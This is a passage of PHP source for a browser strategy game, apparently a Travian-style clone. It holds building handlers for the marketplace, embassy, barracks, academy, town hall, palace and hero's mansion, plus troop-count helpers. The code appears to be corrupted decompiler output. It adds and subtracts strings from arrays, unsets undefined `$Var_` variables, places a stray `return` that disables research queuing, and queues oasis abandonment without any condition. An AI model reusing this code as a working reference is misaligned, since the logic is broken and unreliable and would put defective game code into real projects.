FALSE );                            }                            else                            {                                $this->merchantProperty['showError'] = TRUE;                            }                        }                        else                        {                            $this->merchantProperty['showError'] = TRUE;                        }                    }                    else                    {                        $this->merchantProperty['showError'] = TRUE;                        $this->merchantProperty['showError2'] = TRUE;                    }                }                else if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                {                    $row = $m->getOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    if ( $row != NULL )                    {                        $this->merchantProperty += "exits_num";                        $this->data -= "offer_merchants_count";                        $resources2 = explode( "|", $row['offer'] );                        $resources1 = explode( "|", $row['offer'] );                        list( $resources1, $resources2 ) = $resources1;                        $resourcesArray1 = explode( " ", $resources1 );                        $res = array( );                        $i = 0;                        $_c = sizeof( $resourcesArray1 );                        while ( $i < $_c )                        {                            $res[$i + 1] = $resourcesArray1[$i];                            ++$i;                        }                        foreach ( $res as $k => $v )                        {                            $this->resources[$k] += "current_value";                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m->removeMerchantOffer( intval( $_GET['d'] ), $this->player->playerId, $this->data['selected_village_id'] );                    }                }                $this->merchantProperty['offers'] = $m->getOffers( $this->data['selected_village_id'] );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 && $this->isPost( ) && isset( $_POST['m2'] ) && is_array( $_POST['m2'] ) && sizeof( $_POST['m2'] ) == 4 && $this->gameMetadata['plusTable'][6]['cost'] <= $this->data['gold_num'] )                {                    $resources = array( "1" => intval( $_POST['m2'][0] ), "2" => intval( $_POST['m2'][1] ), "3" => intval( $_POST['m2'][2] ), "4" => intval( $_POST['m2'][3] ) );                    $oldSum = $this->resources[1]['current_value'] + $this->resources[2]['current_value'] + $this->resources[3]['current_value'] + $this->resources[4]['current_value'];                    $newSum = $resources[1] + $resources[2] + $resources[3] + $resources[4];                    if ( $newSum <= $oldSum )                    {                        foreach ( $resources as $k => $v )                        {                            $this->resources[$k]['current_value'] = $v;                        }                        $this->queueModel->_updateVillage( FALSE, FALSE );                        $m = new BuildModel( );                        $m->decreaseGoldNum( $this->player->playerId, $this->gameMetadata['plusTable'][6]['cost'] );                        $m->dispose( );                    }                }            }        }    }
    public function handleEmbassy( )    {        if ( 0 < intval( $this->data['alliance_id'] ) )        {        }        else        {            $this->embassyProperty = array( "level" => $this->buildings[$this->buildingIndex]['level'], "invites" => NULL, "error" => 0, "ally1" => "", "ally2" => "" );            $maxPlayers = $this->gameMetadata['items'][18]['levels'][$this->embassyProperty['level'] - 1]['value'];            $this->embassyProperty['ally1'] = $ally1 = trim( $_POST['ally1'] );            $this->embassyProperty['ally2'] = $ally2 = trim( $_POST['ally2'] );            if ( $ally1 == "" || $ally2 == "" )            {                $this->embassyProperty['error'] = $ally1 == "" && $ally2 == "" ? 3 : $ally1 == "" ? 1 : 2;            }            else            {                $m = new BuildModel( );                if ( !$m->allianceExists( $this->embassyProperty['ally1'] ) )                {                    $this->data['alliance_name'] = $this->embassyProperty['ally1'];                    $this->data['alliance_id'] = $m->createAlliance( $this->player->playerId, $this->embassyProperty['ally1'], $this->embassyProperty['ally2'], $maxPlayers );                    $m->dispose( );                }                else                {                    $this->embassyProperty['error'] = 4;                    $m->dispose( );                }            }            $invites_alliance_ids = trim( $this->data['invites_alliance_ids'] );            $this->embassyProperty['invites'] = array( );            if ( $invites_alliance_ids != "" )            {                $_arr = explode( "\n", $invites_alliance_ids );                foreach ( $_arr as $_s )                {                    $allianceName = explode( " ", $_s, 2 );                    $allianceId = explode( " ", $_s, 2 );                    list ( $allianceId, $allianceName ) = $allianceId;                    $this->embassyProperty['invites'][$allianceId] = $allianceName;                }            }            if ( !$this->isPost( ) )            {                if ( isset( $_GET['a'] ) && 0 < intval( $_GET['a'] ) )                {                    $allianceId = intval( $_GET['a'] );                    if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                    {                        $m = new BuildModel( );                        $acceptResult = $m->acceptAllianceJoining( $this->player->playerId, $allianceId );                        if ( $acceptResult == 2 )                        {                            $this->data['alliance_name'] = $this->embassyProperty['invites'][$allianceId];                            $this->data['alliance_id'] = $allianceId;                            unset( $Var_4320['invites'][$allianceId] );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                        }                        else if ( $acceptResult == 1 )                        {                            $this->embassyProperty['error'] = 15;                        }                        $m->dispose( );                    }                }                else                {                    if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] ) )                    {                        $allianceId = intval( $_GET['d'] );                        if ( isset( $this->embassyProperty['invites'][$allianceId] ) )                        {                            unset( $Var_5112['invites'][$allianceId] );                            $m = new BuildModel( );                            $m->removeAllianceInvites( $this->player->playerId, $allianceId );                            $m->dispose( );                        }                    }                }            }        }    }
    public function handleWarrior( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            if ( $researches_done == 1 && 0 < $this->gameMetadata['troops'][$troopId]['gold_needed'] )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        $this->warriorMessage = "";        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $cropConsume = 0;            $totalGoldsNeeded = 0;            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) )                {                    continue;                }                $totalGoldsNeeded += $this->gameMetadata['troops'][$troopId]['gold_needed'] * $num;                $cropConsume += $this->gameMetadata['troops'][$troopId]['crop_consumption'] * $num;            }            if ( $totalGoldsNeeded <= 0 )            {            }            else            {                $canProcess = $totalGoldsNeeded <= $this->data['gold_num'];                $this->warriorMessage = $canProcess ? 1 : 2;                if ( $canProcess )                {                    $troopsString = "";                    foreach ( $this->troops as $tid => $num )                    {                        if ( $tid == 99 )                        {                            continue;                        }                       $neededNum = isset( $this->troopsUpgrade[$tid], $_POST['tf'][$tid] ) ? $_POST['tf'][$tid] : 0;                        if ( $troopsString != "" )                        {                            $troopsString .= ",";                        }                        $troopsString .= $tid." ".$neededNum;                    }                    $m = new BuildModel( );                    $m->decreaseGoldNum( $this->player->playerId, $totalGoldsNeeded );                    $m->dispose( );                    $this->data -= "gold_num";                    $procParams = $troopsString."|0||||||1";                    $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];                    $bLevel = $this->buildings[$this->buildingIndex]['level'];                    $needed_time = $buildingMetadata['levels'][$bLevel - 1]['value'] * 3600;                    $newTask = new QueueTask( QS_WAR_REINFORCE, 0, $needed_time );                    $newTask->villageId = 0;                    $newTask->toPlayerId = $this->player->playerId;                    $newTask->toVillageId = $this->data['selected_village_id'];                    $newTask->procParams = $procParams;                    $newTask->tag = array( "troops" => NULL, "hasHero" => FALSE, "resources" => NULL, "troopsCropConsume" => $cropConsume );                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleTroopBuilding( )    {        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $this->troopsUpgradeType = QS_TROOP_TRAINING;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )            {                $this->troopsUpgrade[$troopId] = $troopId;            }        }        if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            foreach ( $_POST['tf'] as $troopId => $num )            {                $num = intval( $num );                if ( $num <= 0 || !isset( $this->troopsUpgrade[$troopId] ) || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                {                    continue;                }                $timeFactor = 1;                if ( $this->gameMetadata['troops'][$troopId]['is_cavalry'] == TRUE )                {                    $flvl = $this->_getMaxBuildingLevel( 41 );                    if ( 0 < $flvl )                    {                        $timeFactor -= $this->gameMetadata['items'][41]['levels'][$flvl - 1]['value'] / 100;                    }                }                $troopMetadata = $this->gameMetadata['troops'][$troopId];                $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) * $timeFactor );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->threads = $num;                $newTask->villageId = $this->data['selected_village_id'];                $newTask->buildingId = $this->buildProperties['building']['item_id'];                $newTask->procParams = $troopId;                $newTask->tag = array( "1" => $troopMetadata['training_resources'][1] * $this->buildingTribeFactor * $num, "2" => $troopMetadata['training_resources'][2] * $this->buildingTribeFactor * $num, "3" => $troopMetadata['training_resources'][3] * $this->buildingTribeFactor * $num, "4" => $troopMetadata['training_resources'][4] * $this->buildingTribeFactor * $num );                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleAcademy( )    {        $this->troopsUpgradeType = QS_TROOP_RESEARCH;        $this->troopsUpgrade = array( "available" => array( ), "soon" => array( ) );        $_arr = explode( ",", $this->data['troops_training'] );        foreach ( $_arr as $troopStr )        {            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;              if ( $researches_done == 0 )            {                $this->troopsUpgrade[$this->_canDoResearches( $troopId ) ? "available" : "soon"][] = $troopId;            }        }        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && $this->_canDoResearches( intval( $_GET['a'] ) ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $buildingMetadata = $this->gameMetadata['troops'][$troopId];            return;            $calcConsume = intval( $buildingMetadata['research_time_consume'] / $this->gameSpeed );            $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->procParams = $troopId;            $newTask->tag = $buildingMetadata['research_resources'];            $this->queueModel->addTask( $newTask );        }    }
    public function handleTownHall( )    {        $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']];        $bLevel = $this->buildings[$this->buildingIndex]['level'];        if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[QS_TOWNHALL_CELEBRATION] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            if ( intval( $_GET['a'] ) < 1 || 2 < intval( $_GET['a'] ) || intval( $_GET['a'] ) == 1 && $bLevel < $buildingMetadata['celebrations']['small']['level'] || intval( $_GET['a'] ) == 2 && $bLevel < $buildingMetadata['celebrations']['large']['level'] )            {            }            else            {                $key = intval( $_GET['a'] ) == 2 ? "large" : "small";                if ( !$this->isResourcesAvailable( $buildingMetadata['celebrations'][$key]['resources'] ) )                {                }                else                {                    $calcConsume = intval( $buildingMetadata['celebrations'][$key]['time_consume'] / $this->gameSpeed * ( 10 / ( $bLevel + 9 ) ) );                    $newTask = new QueueTask( QS_TOWNHALL_CELEBRATION, $this->player->playerId, $calcConsume );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->procParams = intval( $_GET['a'] );                    $newTask->tag = $buildingMetadata['celebrations'][$key]['resources'];                    $this->queueModel->addTask( $newTask );                }            }        }    }
    public function handleResidencePalace( )    {        $this->selectedTabIndex = is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $_bid_ = $this->buildings[$this->buildingIndex]['item_id'];        if ( $this->selectedTabIndex == 0 )        {            if ( isset( $_GET['mc'] ) && !$this->data['is_capital'] && !$this->data['is_special_village'] && $_bid_ == 26 )            {                $this->data['is_capital'] = TRUE;                $m = new BuildModel( );                $m->makeVillageAsCapital( $this->player->playerId, $this->data['selected_village_id'] );                $m->dispose( );            }            $this->childVillagesCount = 0;            if ( trim( $this->data['child_villages_id'] ) != "" )            {                $this->childVillagesCount = sizeof( explode( ",", $this->data['child_villages_id'] ) );            }            $itemId = $this->buildings[$this->buildingIndex]['item_id'];            $buildingLevel = $this->buildings[$this->buildingIndex]['level'];            $this->troopsUpgradeType = QS_TROOP_TRAINING;            $this->_getOnlyMyTroops( );            $this->troopsUpgrade = array( );            $_arr = explode( ",", $this->data['troops_training'] );            foreach ( $_arr as $troopStr )            {                $attack_level = explode( " ", $troopStr );                $defense_level = explode( " ", $troopStr );                $researches_done = explode( " ", $troopStr );                $troopId = explode( " ", $troopStr );                list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;                  if ( $researches_done == 1 && $this->_canTrainInBuilding( $troopId, $itemId ) )                {                    $this->troopsUpgrade[] = array( "troopId" => $troopId, "maxNumber" => $this->_getMaxTrainNumber( $troopId, $itemId ), "currentNumber" => $this->_getCurrentNumberFor( $troopId, $itemId ) );                }            }            $this->showBuildingForm = FALSE;            if ( $buildingLevel < 10 || 2 <= $this->childVillagesCount && $_bid_ == 25 || 3 <= $this->childVillagesCount && $_bid_ == 26 || $this->childVillagesCount == 1 && $buildingLevel < 20 && $_bid_ == 25 || $this->childVillagesCount == 1 && $buildingLevel < 15 && $_bid_ == 26 || $this->childVillagesCount == 2 && $buildingLevel < 20 && $_bid_ == 26 )            {                $this->troopsUpgrade = array( );            }            else            {                if ( 1 < sizeof( $this->troopsUpgrade ) )                {                    if ( 1 <= $this->troopsUpgrade[0]['currentNumber'] || 3 <= $this->troopsUpgrade[1]['currentNumber'] )                    {                        $this->troopsUpgrade = array( );                    }                    else                    {                        if ( 0 < $this->troopsUpgrade[1]['currentNumber'] )                        {                            unset( $Var_4224[0] );                        }                    }                }                else if ( 3 <= $this->troopsUpgrade[0]['currentNumber'] )                {                    $this->troopsUpgrade = array( );                }                $this->showBuildingForm = 0 < sizeof( $this->troopsUpgrade );            }            if ( $this->isPost( ) && isset( $_POST['tf'] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )            {                foreach ( $_POST['tf'] as $troopId => $num )                {                    $num = intval( $num );                    $existsTroop = FALSE;                    foreach ( $this->troopsUpgrade as $troop )                    {                        if ( $troop['troopId'] == $troopId )                        {                            $existsTroop = TRUE;                            break;                            break;                        }                    }                    if ( $num <= 0 || !$existsTroop || $this->_getMaxTrainNumber( $troopId, $itemId ) < $num )                    {                        continue;                    }                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                    $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                    $newTask->threads = $num;                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $this->buildProperties['building']['item_id'];                    $newTask->procParams = $troopId;                    $newTask->tag = $troopMetadata['training_resources'];                    $this->queueModel->addTask( $newTask );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->neededCpValue = $this->totalCpRate = $this->totalCpValue = 0;                $m = new BuildModel( );                $result = $m->getVillagesCp( $this->data['villages_id'] );                while ( $result->next( ) )                {                    //fix2  part f culture points calculations                     $cpRate = explode( " ", $result->row['cp'] );                    $this->cpValue = explode( " ", $result->row['cp'] );                    list ( $this->cpValue, $cpRate ) = $this->cpValue;                    $_39643752 += "cpValue";                    $_39643848 += "totalCpRate";                    $_39643880 += "totalCpValue";                    $_39643880 += "neededCpValue";                    }                $this->totalCpValue = floor( $this->totalCpValue );                $m->dispose( );            }            else            {                if ( $this->selectedTabIndex == 3 )                {                    $this->childVillages = array( );                    $m = new BuildModel( );                    $result = $m->getChildVillagesFor( trim( $this->data['child_villages_id'] ) );                    while ( $result != NULL && $result->next( ) )                    {                        $this->childVillages[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "village_name" => $result->row['village_name'], "people_count" => $result->row['people_count'], "creation_date" => $result->row['creation_date'] );                    }                    $m->dispose( );                }            }        }    }
    public function handleHerosMansion( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && intval( $_GET['t'] ) == 1 ? intval( $_GET['t'] ) : 0;        if ( $this->selectedTabIndex == 0 )        {            $this->hasHero = 0 < intval( $this->data['hero_troop_id'] );            $this->troopsUpgradeType = QS_TROOP_TRAINING_HERO;            if ( !$this->hasHero )            {                $this->_getOnlyMyTroops( TRUE );                if ( $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troops[intval( $_GET['a'] )] ) && 0 < $this->troops[intval( $_GET['a'] )] && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $troopId = intval( $_GET['a'] );                    $troopMetadata = $this->gameMetadata['troops'][$troopId];                    $nResources = array( "1" => $troopMetadata['training_resources'][1] * 2, "2" => $troopMetadata['training_resources'][2] * 2, "3" => $troopMetadata['training_resources'][3] * 2, "4" => $troopMetadata['training_resources'][4] * 2 );                    if ( !$this->isResourcesAvailable( $nResources ) )                    {                    }                    else                    {                        $calcConsume = intval( $troopMetadata['training_time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) ) * 12;                        $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                        $newTask->procParams = $troopId." ".$this->data['selected_village_id'];                        $newTask->tag = $nResources;                        $this->queueModel->addTask( $newTask );                    }                }            }            else            {                if ( $this->isPost( ) && isset( $_POST['hname'] ) && trim( $_POST['hname'] ) != "" )                {                    $this->data['hero_name'] = trim( $_POST['hname'] );                    $m = new BuildModel( );                    $m->changeHeroName( $this->player->playerId, $this->data['hero_name'] );                    $m->dispose( );                }            }        }        else        {            if ( $this->selectedTabIndex == 1 )            {                $this->villageOases = array( );                $m = new BuildModel( );                $result = $m->getVillageOases( trim( $this->data['village_oases_id'] ) );                while ( $result != NULL && $result->next( ) )                {                    $this->villageOases[$result->row['id']] = array( "id" => $result->row['id'], "rel_x" => $result->row['rel_x'], "rel_y" => $result->row['rel_y'], "image_num" => $result->row['image_num'], "allegiance_percent" => $result->row['allegiance_percent'] );                }                $m->dispose( );                if ( !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                {                    $oasisId = intval( $_GET['a'] );                    $newTask = new QueueTask( QS_LEAVEOASIS, $this->player->playerId, floor( 21600 / $this->gameSpeed ) );                    $newTask->villageId = $this->data['selected_village_id'];                    $newTask->buildingId = $oasisId;                    $newTask->procParams = $this->villageOases[$oasisId]['rel_x']." ".$this->villageOases[$oasisId]['rel_y'];                    $this->queueModel->addTask( $newTask );                }                else                {                    if ( isset( $_GET['qid'] ) && 0 < intval( $_GET['qid'] ) )                    {                        $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );                    }                }            }        }    }
    public function preRender( )    {        parent::prerender( );         /* if ( isset( $_GET['p'] ) )        {            $_41448384 .= "villagesLinkPostfix";        }        if ( isset( $_GET['vid2'] ) )        {             $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;            $_41448784 .= "villagesLinkPostfix";        }         if ( 0 < $this->selectedTabIndex )        {            $this->villagesLinkPostfix .= "&t=".$this->selectedTabIndex;              // $ && _41448984 .= "villagesLinkPostfix";        }     */    }
    public function __getCoordInRange( $map_size, $x )    {        if ( $map_size <= $x )        {            $x -= $map_size;        }        else if ( $x < 0 )        {            $x = $map_size + $x;        }        return $x;    }
    public function __getVillageId( $map_size, $x, $y )    {        return $x * $map_size + ( $y + 1 );    }
    public function _getOnlyMyOuterTroops( )    {        $returnTroops = array( );        if ( trim( $this->data['troops_out_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        if ( trim( $this->data['troops_out_intrap_num'] ) != "" )        {            $t_arr = explode( "|", $this->data['troops_out_intrap_num'] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $t[1] == 0 - 1 )                    {                        continue;                    }                    if ( isset( $returnTroops[$t[0]] ) )                    {                        $returnTroops += $t[0];                    }                    else                    {                        $returnTroops[$t[0]] = $t[1];                    }                }            }        }        return $returnTroops;    }
    public function _getOnlyMyTroops( $toBeHero = FALSE )    {        $t_arr = explode( "|", $this->data['troops_num'] );        foreach ( $t_arr as $t_str )        {            $t2_arr = explode( ":", $t_str );            if ( $t2_arr[0] == 0 - 1 )            {                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $t = explode( " ", $t2_str );                    if ( $toBeHero && ( $t[0] == 99 || $t[0] == 7 || $t[0] == 8 || $t[0] == 9 || $t[0] == 10 || $t[0] == 17 || $t[0] == 18 || $t[0] == 19 || $t[0] == 20 || $t[0] == 27 || $t[0] == 28 || $t[0] == 29 || $t[0] == 30 || $t[0] == 106 || $t[0] == 107 || $t[0] == 108 || $t[0] == 109 || $t[0] == 57 || $t[0] == 58 || $t[0] == 59 || $t[0] == 60 ) )                    {                        continue;                    }                    if ( isset( $this->troops[$t[0]] ) )                    {                        $this->troops += $t[0];                    }                    else                    {                        $this->troops[$t[0]] = $t[1];                    }                }            }        }        if ( !$toBeHero && !isset( $this->troops[99] ) )        {            $this->troops[99] = 0;        }    }
    public function _getMaxBuildingLevel( $itemId )    {        $result = 0;        foreach ( $this->buildings as $villageBuild )        {            if ( $villageBuild['item_id'] == $itemId && $result < $villageBuild['level'] )            {                $result = $villageBuild['level'];            }        }        return $result;    }
    public function _getCurrentNumberFor( $troopId, $item )    {        $num = 0;        if ( isset( $this->troops[$troopId] ) )        {            $num += $this->troops[$troopId];        }        if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item] ) )        {            $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$item];            foreach ( $qts as $qt )            {                if ( $qt['proc_params'] == $troopId )                {                    $num += $qt['threads'];                }            }        }        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_REINFORCE );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_PLUNDER );        $num += $this->_getTroopCountInTransfer( $troopId, QS_WAR_ATTACK_SPY );        $num += $this->_getTroopCountInTransfer( $troopId, QS_CREATEVILLAGE );        $ts = $this->_getOnlyMyOuterTroops( );        if ( isset( $ts[$troopId] ) )        {            $num += $ts[$troopId];        }        return $num;    }
    public function _getTroopCountInTransfer( $troopId, $type )    {        $num = 0;        if ( isset( $this->queueModel->tasksInQueue[$type] ) )        {            $qts = $this->queueModel->tasksInQueue[$type];            foreach ( $qts as $qt )            {                $arr = explode( "|", $qt['proc_params'] );                $arr = explode( ",", $arr[0] );                foreach ( $arr as $arrStr )                {                    $tnum = explode( " ", $arrStr );                    $tid = explode( " ", $arrStr );                    list ( $tid, $tnum ) = $tid;                    if ( $tid == $troopId )                    {                        $num += $tnum;                    }                }            }        }        return $num;    }
    public function _getMaxTrainNumber( $troopId, $item )    {        $max = 0;        $_f = TRUE;        foreach ( $this->gameMetadata['troops'][$troopId]['training_resources'] as $k => $v )        {            $num = floor( $this->resources[$k]['current_value'] / ( $v * $this->buildingTribeFactor ) );            if ( $num < $max || $_f )            {                $_f = FALSE;                $max = $num;            }        }        if ( $troopId == 99 )        {            $buildingMetadata = $this->gameMetadata['items'][$this->buildings[$this->buildingIndex]['item_id']]['levels'][$this->buildProperties['building']['level'] - 1];            $_maxValue = $buildingMetadata['value'] - $this->troops[$troopId];            if ( isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']], $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']] ) )            {                $qts = $this->queueModel->tasksInQueue[$this->troopsUpgradeType][$this->buildProperties['building']['item_id']];                foreach ( $qts as $qt )                {                    if ( $qt['proc_params'] == $troopId )                    {                        $_maxValue -= $qt['threads'];                    }                }            }            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        else if ( $item == 25 || $item == 26 )        {            $_maxValue = $troopId == 9 || $troopId == 19 || $troopId == 29 || $troopId == 108 || $troopId == 59 ? 1 : 3;            $_maxValue -= $this->_getCurrentNumberFor( $troopId, $item );            if ( $_maxValue < $max )            {                $max = $_maxValue;            }        }        return $max < 0 ? 0 : $max;    }
    public function _canTrainInBuilding( $troopId, $itemId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['trainer_building'] as $buildingId )        {            if ( $buildingId == $itemId )            {                return TRUE;                break;            }        }        return FALSE;    }
    public function _canDoResearches( $troopId )    {        foreach ( $this->gameMetadata['troops'][$troopId]['pre_requests'] as $req_item_id => $level )        {            $result = FALSE;            foreach ( $this->buildings as $villageBuild )            {                if ( $villageBuild['item_id'] == $req_item_id && $level <= $villageBuild['level'] )                {                    $result = TRUE;                    break;                }            }            if ( !$result )            {                return FALSE;                break;            }        }        return TRUE;    }
    public function getNeededTime( $neededResources )    {        $timeInSeconds = 0;        foreach ( $neededResources as $k => $v )        {            if ( !( $this->resources[$k]['current_value'] < $v ) )            {                continue;            }            else if ( $this->resources[$k]['calc_prod_rate'] <= 0 )            {                return 0 - 1;            }            else            {                $time = ( $v - $this->resources[$k]['current_value'] ) / $this->resources[$k]['calc_prod_rate'];                if ( $timeInSeconds < $time )                {                    $timeInSeconds = $time;                }            }        }        return ceil( $timeInSeconds * 3600 );    }
    public function getActionText4( $neededResources, $url, $text, $queueTaskType, $buildLevel, $troopLevel )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        if ( $buildLevel <= $troopLevel )        {            return "<span class=\"none\">".buildings_p_needmorecapacity."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText3( $neededResources, $url, $text, $queueTaskType )    {        if ( isset( $this->queueModel->tasksInQueue[$queueTaskType] ) )        {            return "<span class=\"none\">".buildings_p_plwait."</span>";        }        return !$this->isResourcesAvailable( $neededResources ) ? "<span class=\"none\">".buildings_p_notenoughres."</span>" : "<a class=\"build\" href=\"build.php?id=".$this->buildingIndex."&".$url."&k=".$this->data['update_key']."\">".$text."</a>";    }
    public function getActionText2( $neededResources )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        if ( !$this->isResourcesAvailable( $neededResources ) )        {            $neededTime = $this->getNeededTime( $neededResources );            return "<span class=\"none\">".( 0 < $neededTime ? buildings_p_willenoughresat." ".( $neededTime )." ".time_hour_lang : buildings_p_notenoughres2 )."</span>";        }        return "";    }
    public function getActionText( $neededResources, $isField, $upgrade, $item_id )    {        $needUpgradeType = $this->needMoreUpgrades( $neededResources, $item_id );        if ( 0 < $needUpgradeType )        {            switch ( $needUpgradeType )            {                case 1 :                    return "<span class=\"none\">".buildings_p_upg0."</span>";                case 2 :                    return "<span class=\"none\">".buildings_p_upg1."</span>";                case 3 :                    return "<span class=\"none\">".buildings_p_upg2."</span>";                case 4 :                    return "<span class=\"none\">".buildings_p_upg3."</span>";            }        }        else        {            $pageNamePostfix = "2";            $link = "<a class=\"build\" href=\"village2.php?id=".$this->buildingIndex."&b=".$item_id."&k=".$this->data['update_key']."\">".buildings_p_create_newbuild."</a>";            $workerResult = $this->isWorkerBusy( $isField );            return $link.( "" );        }        $neededTime = $this->getNeededTime( $neededResources );        return "<span class=\"none\">".( buildings_p_notenoughres2 )."</span>";    }
    public function _canAcceptOffer( $needResources, $giveResources, $villageId, $onlyForAlliance, $allianceId, $maxTime, $distance )    {        if ( $villageId == $this->data['selected_village_id'] )        {            return 0;        }        if ( !$this->isResourcesAvailable( $giveResources ) )        {            return 1;        }        $needMerchantCount = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );        if ( $needMerchantCount == 0 || $this->merchantProperty['exits_num'] < $needMerchantCount )        {            return 2;        }        if ( $onlyForAlliance && ( intval( $this->data['alliance_id'] ) == 0 || $allianceId != intval( $this->data['alliance_id'] ) ) )        {            return 3;        }        if ( 0 < $maxTime && $maxTime < $distance / $this->merchantProperty['speed'] )        {            return 4;        }        return 5;    }
